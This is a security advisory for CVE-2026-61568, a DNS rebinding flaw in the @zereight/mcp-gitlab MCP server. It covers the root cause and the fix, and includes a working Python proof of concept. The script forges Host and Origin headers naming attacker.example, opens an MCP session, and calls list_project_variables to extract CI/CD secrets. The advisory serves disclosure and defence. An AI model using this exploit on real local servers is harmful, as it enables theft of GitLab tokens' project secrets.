critical · 9.6CVE-2026-61568Sep 15, 2026

CVE-2026-61568: @zereight/mcp-gitlab DNS Rebinding via Missing Host/Origin Validation

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A malicious web page can use DNS rebinding to reach a locally running @zereight/mcp-gitlab Streamable HTTP server and interact with GitLab MCP tools, because the server never checks the Host or…

Package@zereight/mcp-gitlab
Ecosystemnpm
Affected< 2.1.30
Fixed in2.1.30
CVE-2026-61568: @zereight/mcp-gitlab DNS Rebinding via Missing Host/Origin Validation

The problem

The Streamable HTTP transport in @zereight/mcp-gitlab is constructed without enabling any DNS-rebinding protection. No enableDnsRebindingProtection, allowedHosts, or allowedOrigins fields are set, and no Express middleware guards the /mcp route against unexpected Host or Origin values.

The server defaults to binding on 127.0.0.1, which is exactly the target DNS-rebinding attacks aim at. A malicious page rebinds its own domain to 127.0.0.1, then sends forged-origin browser requests that the server accepts and processes as legitimate MCP sessions.

With a valid GitLab token in the forged request, the attacker can list tools and call GitLab API tools such as list_project_variables, extracting CI/CD secrets and other sensitive project data.

Proof of concept

A working proof-of-concept for CVE-2026-61568 in @zereight/mcp-gitlab, with the exact payload below.

python
# Send MCP initialize with attacker-controlled Host and Origin to the local listener.
# The server accepts the request and returns a valid Mcp-Session-Id.

import json, urllib.request

TARGET      = "http://127.0.0.1:8082/mcp"
REBIND_HOST = "attacker.example:8082"
ORIGIN      = "http://" + REBIND_HOST
TOKEN       = "glpat-VICTIM-TOKEN-HERE"

def post(body, sid=None, token=None):
    headers = {
        "Content-Type": "application/json",
        "Accept":       "application/json, text/event-stream",
        "Host":         REBIND_HOST,      # forged rebind host
        "Origin":       ORIGIN,           # forged rebind origin
    }
    if token:
        headers["Private-Token"] = token
    if sid:
        headers["Mcp-Session-Id"]        = sid
        headers["MCP-Protocol-Version"]  = "2025-06-18"
    req = urllib.request.Request(
        TARGET, data=json.dumps(body).encode(), headers=headers, method="POST")
    with urllib.request.urlopen(req, timeout=20) as res:
        sid_out = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id")
        return res.status, sid_out, res.read().decode()

# Step 1: initialize (no token needed to establish session)
status, sid, body = post({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {
        "protocolVersion": "2025-06-18",
        "capabilities": {},
        "clientInfo": {"name": "dns-rebind", "version": "1"},
    },
})
print("initialize:", status, "session:", sid)   # 200 + UUID session

# Step 2: with a token, list tools and call a GitLab API tool
status, _, body = post(
    {"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}},
    sid=sid, token=TOKEN)
print("tools/list:", status)

status, _, body = post(
    {"jsonrpc": "2.0", "id": 3, "method": "tools/call",
     "params": {"name": "list_project_variables",
                "arguments": {"project_id": "victim/repo"}}},
    sid=sid, token=TOKEN)
print(body)   # returns CI/CD variables including secrets

The root cause is CWE-350: the server relies on the loopback bind address (127.0.0.1) as its only browser-origin boundary, but that boundary is nullified by DNS rebinding. The MCP TypeScript SDK exposes enableDnsRebindingProtection, allowedHosts, and allowedOrigins on StreamableHTTPServerTransport specifically to prevent this, but the package constructed the transport without any of those options set.

The patch (commit 52207c6f) adds all three fields to the transport constructor and scopes the allowlist to 127.0.0.1:PORT and localhost:PORT. Authentication (REMOTE_AUTHORIZATION) is a separate layer: it blocks tool calls without a token, but it does not stop the browser-origin boundary failure.

An attacker who can supply or steal a token (or who reaches a deployment without REMOTE_AUTHORIZATION) gets full tool access through the rebind.

The fix

Upgrade to @zereight/mcp-gitlab >= 2.1.30. The fix (PR #555, commit 52207c6f) adds enableDnsRebindingProtection: true and loopback-only allowedHosts / allowedOrigins to the StreamableHTTPServerTransport constructor. If you run a non-loopback HTTP deployment, explicitly configure the allowed host/origin list to match your actual public endpoint.

Reporter not attributed.

References: [1][2][3][4][5]

Related research